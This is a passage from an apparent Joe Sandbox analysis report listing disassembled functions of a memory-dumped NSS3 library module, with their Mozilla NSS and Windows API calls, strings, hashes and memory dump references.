Instruction Fuzzy Hash: 0811D379A00214AFDB40EF24DD49A9A3778EF09368F954570EC088B722EB31ED55CBE1

Function 6C75ECB0 Relevance: 6.1, APIs: 4, Instructions: 64memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800,?,00000001,?,6C75F0AD,6C75F150,?,6C75F150,?,?,?), ref: 6C75ECBA

Part of subcall function 6C760FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C7087ED,00000800,6C6FEF74,00000000), ref: 6C761000
Part of subcall function 6C760FF0: PR_NewLock.NSS3(?,00000800,6C6FEF74,00000000), ref: 6C761016
Part of subcall function 6C760FF0: PL_InitArenaPool.NSS3(00000000,security,6C7087ED,00000008,?,00000800,6C6FEF74,00000000), ref: 6C76102B

PORT_ArenaAlloc_Util.NSS3(00000000,00000028,?,?,?), ref: 6C75ECD1

Part of subcall function 6C7610C0: TlsGetValue.KERNEL32(?,6C708802,00000000,00000008,?,6C6FEF74,00000000), ref: 6C7610F3
Part of subcall function 6C7610C0: EnterCriticalSection.KERNEL32(?,?,6C708802,00000000,00000008,?,6C6FEF74,00000000), ref: 6C76110C
Part of subcall function 6C7610C0: PL_ArenaAllocate.NSS3(?,?,?,6C708802,00000000,00000008,?,6C6FEF74,00000000), ref: 6C761141
Part of subcall function 6C7610C0: PR_Unlock.NSS3(?,?,?,6C708802,00000000,00000008,?,6C6FEF74,00000000), ref: 6C761182
Part of subcall function 6C7610C0: TlsGetValue.KERNEL32(?,6C708802,00000000,00000008,?,6C6FEF74,00000000), ref: 6C76119C

PORT_ArenaAlloc_Util.NSS3(00000000,0000003C,?,?,?,?,?), ref: 6C75ED02

Part of subcall function 6C7610C0: PL_ArenaAllocate.NSS3(?,6C708802,00000000,00000008,?,6C6FEF74,00000000), ref: 6C76116E

PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?), ref: 6C75ED5A

Memory Dump Source

Source File: 00000000.00000002.2098466358.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2098422136.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098764591.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098950907.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099030732.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099193680.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099235290.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: Arena$Util$Alloc_AllocateArena_Value$CriticalEnterFreeInitLockPoolSectionUnlockcalloc
String ID:
API String ID: 2957673229-0
Opcode ID: fde359a11de0bfe4845df7f2d5157b0e79017d69c9f1ce55be8417e26a882dd5
Instruction ID: a9c1e98a834629811c2e4f4e729b64d3cc58b314cf105c727ad75def7ea2292c
Opcode Fuzzy Hash: fde359a11de0bfe4845df7f2d5157b0e79017d69c9f1ce55be8417e26a882dd5
Instruction Fuzzy Hash: D621A4B1E007465BE700CF26DA49B52B7E4BFA4348F15C226E81C87A61EB70E5A4C7D0

Function 6C78EDB0 Relevance: 6.1, APIs: 4, Instructions: 62memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE013,00000000,00000000,00000000,6C777FFA,?,6C779767,?,8B7874C0,0000A48E), ref: 6C78EDD4
realloc.MOZGLUE(C7C1920F,?,00000000,00000000,6C777FFA,?,6C779767,?,8B7874C0,0000A48E), ref: 6C78EDFD
PORT_Alloc_Util.NSS3(?,00000000,00000000,6C777FFA,?,6C779767,?,8B7874C0,0000A48E), ref: 6C78EE14

Part of subcall function 6C760BE0: malloc.MOZGLUE(6C758D2D,?,00000000,?), ref: 6C760BF8
Part of subcall function 6C760BE0: TlsGetValue.KERNEL32(6C758D2D,?,00000000,?), ref: 6C760C15

memcpy.VCRUNTIME140(?,?,6C779767,00000000,00000000,6C777FFA,?,6C779767,?,8B7874C0,0000A48E), ref: 6C78EE33

Memory Dump Source

Source File: 00000000.00000002.2098466358.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2098422136.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098764591.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098950907.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099030732.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099193680.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099235290.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: Alloc_ErrorUtilValuemallocmemcpyrealloc
String ID:
API String ID: 3903481028-0
Opcode ID: 307b2515c24e0f6e5fda417f9a252fcfa79e843dda94b6118d426df7954a2383
Instruction ID: db914df18878d17a925468915af33035c92bf50382e587545648c8004a9dad8a
Opcode Fuzzy Hash: 307b2515c24e0f6e5fda417f9a252fcfa79e843dda94b6118d426df7954a2383
Instruction Fuzzy Hash: F611A3B9A0270AABE7109E65DE88B46B3ACEF0435DF244535EA1982A41E331E464C7F1

Function 6C70DFA0 Relevance: 6.1, APIs: 4, Instructions: 62COMMON

Download Yara Rule

APIs

Part of subcall function 6C7206A0: TlsGetValue.KERNEL32 ref: 6C7206C2
Part of subcall function 6C7206A0: EnterCriticalSection.KERNEL32(?), ref: 6C7206D6
Part of subcall function 6C7206A0: PR_Unlock.NSS3 ref: 6C7206EB

CERT_NewCertList.NSS3 ref: 6C70DFBF
CERT_AddCertToListTail.NSS3(00000000,?), ref: 6C70DFDB
CERT_FindCertIssuer.NSS3(?,?,?,?), ref: 6C70DFFA
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C70E029

Memory Dump Source

Source File: 00000000.00000002.2098466358.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2098422136.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098764591.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098950907.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099030732.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099193680.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099235290.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: Cert$List$CriticalEnterErrorFindIssuerSectionTailUnlockValue
String ID:
API String ID: 3183882470-0
Opcode ID: 405f845adc6167fc33325065f84957d7f9857c790e95633a98274b85cba4a1ef
Instruction ID: a55784a2667c135a0d11c3c86884d45e1848e42f05baead8fe9b4eeec8c17f0b
Opcode Fuzzy Hash: 405f845adc6167fc33325065f84957d7f9857c790e95633a98274b85cba4a1ef
Instruction Fuzzy Hash: D8110CF1B002096BDB105EA95E48BAB76E8AB8035CF140538E958C7710F736D81597E1

Function 6C728DD0 Relevance: 6.1, APIs: 4, Instructions: 53COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C728DE7
EnterCriticalSection.KERNEL32 ref: 6C728DFC
PR_Unlock.NSS3 ref: 6C728E2D
PR_SetError.NSS3 ref: 6C728E49

Memory Dump Source

Source File: 00000000.00000002.2098466358.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2098422136.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098764591.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098950907.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099030732.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099193680.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099235290.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: CriticalEnterErrorSectionUnlockValue
String ID:
API String ID: 284873373-0
Opcode ID: 690c944e4a5f46a12a54af20af089b4b9354acea23077e491a1e4986f9c86f69
Instruction ID: 7d049509fb2f03670024e6b8c76b64ba47981acb61e7e66fbc8ef69b7bd0db38
Opcode Fuzzy Hash: 690c944e4a5f46a12a54af20af089b4b9354acea23077e491a1e4986f9c86f69
Instruction Fuzzy Hash: F2118C75A05A119FD740AF78C5881AABBF4FF09718F01496ADC8897B01E738E894CBC2

Function 6C7AAC70 Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

PR_DestroyMonitor.NSS3(000A34B6,00000000,00000678,?,6C795F17,?,?,?,?,?,?,?,?,6C79AAD4), ref: 6C7AAC94
PK11_FreeSymKey.NSS3(08C483FF,00000000,00000678,?,6C795F17,?,?,?,?,?,?,?,?,6C79AAD4), ref: 6C7AACA6
free.MOZGLUE(20868D04,?,?,?,?,?,?,?,?,6C79AAD4), ref: 6C7AACC0
free.MOZGLUE(04C48300,?,?,?,?,?,?,?,?,6C79AAD4), ref: 6C7AACDB

Memory Dump Source

Source File: 00000000.00000002.2098466358.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2098422136.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098764591.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098950907.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099030732.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099193680.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099235290.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: free$DestroyFreeK11_Monitor
String ID:
API String ID: 3989322779-0
Opcode ID: 355a38cc2d5007a6b1b42fe29750a507eb8cd9a53574023d6ea0680cb764b673
Instruction ID: dddb0bd592c1e017789004502491cd4c7a11969aa689376409f6949ff5b5572c
Opcode Fuzzy Hash: 355a38cc2d5007a6b1b42fe29750a507eb8cd9a53574023d6ea0680cb764b673
Instruction Fuzzy Hash: FE015EB5601B01ABE7A0DF69DA08753B7E8BF04669B504939E85AC3E00E735F055CFD1

Function 6C711DD0 Relevance: 6.0, APIs: 4, Instructions: 48COMMON

Download Yara Rule

APIs

CERT_DestroyCertificate.NSS3(?), ref: 6C711DFB

Part of subcall function 6C7095B0: TlsGetValue.KERNEL32(00000000,?,6C7200D2,00000000), ref: 6C7095D2
Part of subcall function 6C7095B0: EnterCriticalSection.KERNEL32(?,?,?,6C7200D2,00000000), ref: 6C7095E7
Part of subcall function 6C7095B0: PR_Unlock.NSS3(?,?,?,?,6C7200D2,00000000), ref: 6C709605

PR_EnterMonitor.NSS3 ref: 6C711E09

Part of subcall function 6C7C9090: TlsGetValue.KERNEL32 ref: 6C7C90AB
Part of subcall function 6C7C9090: TlsGetValue.KERNEL32 ref: 6C7C90C9
Part of subcall function 6C7C9090: EnterCriticalSection.KERNEL32 ref: 6C7C90E5
Part of subcall function 6C7C9090: TlsGetValue.KERNEL32 ref: 6C7C9116
Part of subcall function 6C7C9090: LeaveCriticalSection.KERNEL32 ref: 6C7C913F

Part of subcall function 6C70E190: PR_EnterMonitor.NSS3(?,?,6C70E175), ref: 6C70E19C
Part of subcall function 6C70E190: PR_EnterMonitor.NSS3(6C70E175), ref: 6C70E1AA
Part of subcall function 6C70E190: PR_ExitMonitor.NSS3 ref: 6C70E208
Part of subcall function 6C70E190: PL_HashTableRemove.NSS3(?), ref: 6C70E219
Part of subcall function 6C70E190: PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C70E231
Part of subcall function 6C70E190: PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C70E249
Part of subcall function 6C70E190: PR_ExitMonitor.NSS3 ref: 6C70E257

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C711E37
PR_ExitMonitor.NSS3 ref: 6C711E4A

Memory Dump Source

Source File: 00000000.00000002.2098466358.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2098422136.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098764591.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098950907.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099030732.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099193680.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099235290.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: Monitor$Enter$Value$CriticalExitSection$Arena_FreeUtil$CertificateDestroyErrorHashLeaveRemoveTableUnlock
String ID:
API String ID: 499896158-0
Opcode ID: 782ca23e0ab7739977a2817bea0a116cfcc2ce3d2aab8e6c3faa0c76a7329462
Instruction ID: aac7fab259d5fa0f650a2531237af3a1df5640a0f716ce445837d3c94fccfe13
Opcode Fuzzy Hash: 782ca23e0ab7739977a2817bea0a116cfcc2ce3d2aab8e6c3faa0c76a7329462
Instruction Fuzzy Hash: 4F01F771B441519BEB104BA6DE0CF5277B8AB61B4EF180031E5189FF91E731E818CBD6

Function 6C711D50 Relevance: 6.0, APIs: 4, Instructions: 47memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C711D75
PORT_ZAlloc_Util.NSS3(0000000C), ref: 6C711D89
PORT_ZAlloc_Util.NSS3(00000010), ref: 6C711D9C
free.MOZGLUE(00000000), ref: 6C711DB8

Memory Dump Source

Source File: 00000000.00000002.2098466358.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2098422136.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098764591.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098950907.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099030732.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099193680.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099235290.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: Alloc_Util$Errorfree
String ID:
API String ID: 939066016-0
Opcode ID: 0ef2fb386726250696bae3a46c08997f05da2ef7b4e49e484b7d8bc3cd53ff9e
Instruction ID: 7122b7585fc5d74c4dd185de005e5b396e0110d283506177720ac61629f9e657
Opcode Fuzzy Hash: 0ef2fb386726250696bae3a46c08997f05da2ef7b4e49e484b7d8bc3cd53ff9e
Instruction Fuzzy Hash: 23F049B261961057FB105E5A9E47B8736489BA1798F190335DD888FF40D760E404C2E5

Function 6C75FD80 Relevance: 6.0, APIs: 4, Instructions: 43memoryCOMMON

Download Yara Rule

APIs

PORT_Alloc_Util.NSS3(0000000C,?,?,00000001,?,6C709003,?), ref: 6C75FD91

Part of subcall function 6C760BE0: malloc.MOZGLUE(6C758D2D,?,00000000,?), ref: 6C760BF8
Part of subcall function 6C760BE0: TlsGetValue.KERNEL32(6C758D2D,?,00000000,?), ref: 6C760C15

PORT_Alloc_Util.NSS3(A4686C76,?), ref: 6C75FDA2
memcpy.VCRUNTIME140(00000000,12D068C3,A4686C76,?,?), ref: 6C75FDC4
free.MOZGLUE(00000000,?,?), ref: 6C75FDD1

Memory Dump Source

Source File: 00000000.00000002.2098466358.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2098422136.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098764591.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098950907.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099030732.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099193680.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099235290.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: Alloc_Util$Valuefreemallocmemcpy
String ID:
API String ID: 2335489644-0
Opcode ID: 09dd1eaa694b1560989175d93c253b12e8333eb3311d70b17e9e38e7463c12bf
Instruction ID: ab5321a4dd9d081508a781fb4cb437d7fde1cdc03664c6e57a64f518a62a3f8e
Opcode Fuzzy Hash: 09dd1eaa694b1560989175d93c253b12e8333eb3311d70b17e9e38e7463c12bf
Instruction Fuzzy Hash: F3F0C8F56013065BEB005F55DE959177758EF45299B548035ED0DCBF02EB21D824C7E1

Function 6C81CC50 Relevance: 6.0, APIs: 4, Instructions: 29COMMON

Download Yara Rule

APIs

DeleteCriticalSection.KERNEL32(?), ref: 6C81CC61
free.MOZGLUE ref: 6C81CC6E
DeleteCriticalSection.KERNEL32(?), ref: 6C81CC80
free.MOZGLUE(?), ref: 6C81CC87

Memory Dump Source

Source File: 00000000.00000002.2098466358.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2098422136.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098764591.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098950907.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099030732.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099193680.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099235290.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: CriticalDeleteSectionfree
String ID:
API String ID: 2988086103-0
Opcode ID: bd922545a47d3610b102a669188b6c9648e0c4e57139a97c94e69bb9a23f43bd
Instruction ID: 4405696c95788373b973b4aa5366219c2e96f894a17002240ccce743ce4b989a
Opcode Fuzzy Hash: bd922545a47d3610b102a669188b6c9648e0c4e57139a97c94e69bb9a23f43bd
Instruction Fuzzy Hash: 65E030B6B00608ABCA50EFA9DC4488677ACEE4D2747150535E691C3701D235F905CFE1

Function 6C6F9DC0 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 220COMMON

Download Yara Rule

APIs

sqlite3_value_text.NSS3 ref: 6C6F9E1F

Part of subcall function 6C6B13C0: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,6C682352,?,00000000,?,?), ref: 6C6B1413
Part of subcall function 6C6B13C0: memcpy.VCRUNTIME140(00000000,R#hl,00000002,?,?,?,?,6C682352,?,00000000,?,?), ref: 6C6B14C0

Strings

ESCAPE expression must be a single character, xrefs: 6C6F9F78
LIKE or GLOB pattern too complex, xrefs: 6C6FA006

Memory Dump Source

Source File: 00000000.00000002.2098466358.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2098422136.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098764591.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098950907.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099030732.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099193680.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099235290.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: memcpysqlite3_value_textstrlen
String ID: ESCAPE expression must be a single character$LIKE or GLOB pattern too complex
API String ID: 2453365862-264706735
Opcode ID: 4826e1786757bb19d57efededf3e1e11b6039eaf8b294f1df64b0db47ddada08
Instruction ID: 4ed2eb40af236c7d4b812daa5bb72f625ffd2277c2d5f3f62a21a20418aff8e7
Opcode Fuzzy Hash: 4826e1786757bb19d57efededf3e1e11b6039eaf8b294f1df64b0db47ddada08
Instruction Fuzzy Hash: 60811A70A052514BE704CF29C4903E9B7F3AF8532CF288659D8B88BB95D736D847C795

Function 6C754D10 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 106COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE001,00000000), ref: 6C754D57
PR_snprintf.NSS3(?,00000008,%d.%d,?,?), ref: 6C754DE6

Strings

%d.%d, xrefs: 6C754DDE

Memory Dump Source

Source File: 00000000.00000002.2098466358.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2098422136.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098764591.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098950907.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099030732.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099193680.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099235290.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: ErrorR_snprintf
String ID: %d.%d
API String ID: 2298970422-3954714993
Opcode ID: 6cf5cc70364a5d75e99ae517bcb7fd98d46a23d79f44b19745aad4c3ab856e34
Instruction ID: 2a6d8963d7f2373c784b8bde6866584dc06519c56ebc567939a956425d12ccc3
Opcode Fuzzy Hash: 6cf5cc70364a5d75e99ae517bcb7fd98d46a23d79f44b19745aad4c3ab856e34
Instruction Fuzzy Hash: A2310CB2D003186BEB109BA19D0ABFF7768EF40308F440429ED1957781EF349929CBE1

Function 6C774CF0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 43COMMON

Download Yara Rule

APIs

SECOID_FindOIDByTag_Util.NSS3('8wl,00000000,00000000,?,?,6C773827,?,00000000), ref: 6C774D0A

Part of subcall function 6C760840: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C7608B4

SECITEM_ItemsAreEqual_Util.NSS3(00000000,00000000,00000000), ref: 6C774D22

Part of subcall function 6C75FD30: memcmp.VCRUNTIME140(?,AF840FC0,8B000000,?,6C701A3E,00000048,00000054), ref: 6C75FD56

Strings

'8wl, xrefs: 6C774D07

Memory Dump Source

Source File: 00000000.00000002.2098466358.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2098422136.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098764591.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098950907.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099030732.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099193680.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099235290.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: Util$Equal_ErrorFindItemsTag_memcmp
String ID: '8wl
API String ID: 1521942269-312688369
Opcode ID: 14028aa1c084b1134f31e0fe545c68cf4cce508ec734b29011f619df16d7203e
Instruction ID: 54630a2ea6ac97f87f981392ceb2be07dd9eb62f141903e670ff369d3e8cb4ee
Opcode Fuzzy Hash: 14028aa1c084b1134f31e0fe545c68cf4cce508ec734b29011f619df16d7203e
Instruction Fuzzy Hash: FAF06232601229A7EF204D6EAF85B4336DC9B4167DF1402B1EE68CB781E621CC049AB1

Function 6C79AF70 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 41COMMON

Download Yara Rule

APIs

PR_GetUniqueIdentity.NSS3(SSL), ref: 6C79AF78

Part of subcall function 6C6FACC0: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C6FACE2
Part of subcall function 6C6FACC0: malloc.MOZGLUE(00000001), ref: 6C6FACEC
Part of subcall function 6C6FACC0: strcpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6C6FAD02
Part of subcall function 6C6FACC0: TlsGetValue.KERNEL32 ref: 6C6FAD3C
Part of subcall function 6C6FACC0: calloc.MOZGLUE(00000001,?), ref: 6C6FAD8C
Part of subcall function 6C6FACC0: PR_Unlock.NSS3 ref: 6C6FADC0
Part of subcall function 6C6FACC0: PR_Unlock.NSS3 ref: 6C6FAE8C
Part of subcall function 6C6FACC0: free.MOZGLUE(?), ref: 6C6FAEAB

memcpy.VCRUNTIME140(6C863084,6C8602AC,00000090), ref: 6C79AF94

Strings

SSL, xrefs: 6C79AF73

Memory Dump Source

Source File: 00000000.00000002.2098466358.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2098422136.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098764591.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098950907.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099030732.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099193680.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099235290.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: Unlock$IdentityUniqueValuecallocfreemallocmemcpystrcpystrlen
String ID: SSL
API String ID: 2424436289-2135378647
Opcode ID: 0857ae78e00c07ee2446e74740dfcfa9a5950435b2d4e0941f481cdfe6116025
Instruction ID: 9ed6af601195e333c29f6fa48da807d82a71f9ab07a863909e0e82c3b5654c48
Opcode Fuzzy Hash: 0857ae78e00c07ee2446e74740dfcfa9a5950435b2d4e0941f481cdfe6116025
Instruction Fuzzy Hash: 85214DB2609A48AADE30DF53B6433227AB5B302A0D7507528C5A90BB35D731580CEFD7

Function 6C6F0F00 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 16COMMON

Download Yara Rule

APIs

PR_GetPageSize.NSS3(6C6F0936,FFFFE8AE,?,6C6816B7,00000000,?,6C6F0936,00000000,?,6C68204A), ref: 6C6F0F1B

Part of subcall function 6C6F1370: GetSystemInfo.KERNEL32(?,?,?,?,6C6F0936,?,6C6F0F20,6C6F0936,FFFFE8AE,?,6C6816B7,00000000,?,6C6F0936,00000000), ref: 6C6F138F

PR_NewLogModule.NSS3(clock,6C6F0936,FFFFE8AE,?,6C6816B7,00000000,?,6C6F0936,00000000,?,6C68204A), ref: 6C6F0F25

Part of subcall function 6C6F1110: calloc.MOZGLUE(00000001,0000000C,?,?,?,?,?,?,?,?,?,?,6C6F0936,00000001,00000040), ref: 6C6F1130
Part of subcall function 6C6F1110: strdup.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,6C6F0936,00000001,00000040), ref: 6C6F1142
Part of subcall function 6C6F1110: PR_GetEnvSecure.NSS3(NSPR_LOG_MODULES,?,?,?,?,?,?,?,?,?,?,?,?,?,6C6F0936,00000001), ref: 6C6F1167

Strings

clock, xrefs: 6C6F0F20

Memory Dump Source

Source File: 00000000.00000002.2098466358.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2098422136.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098764591.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098950907.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099030732.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099193680.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
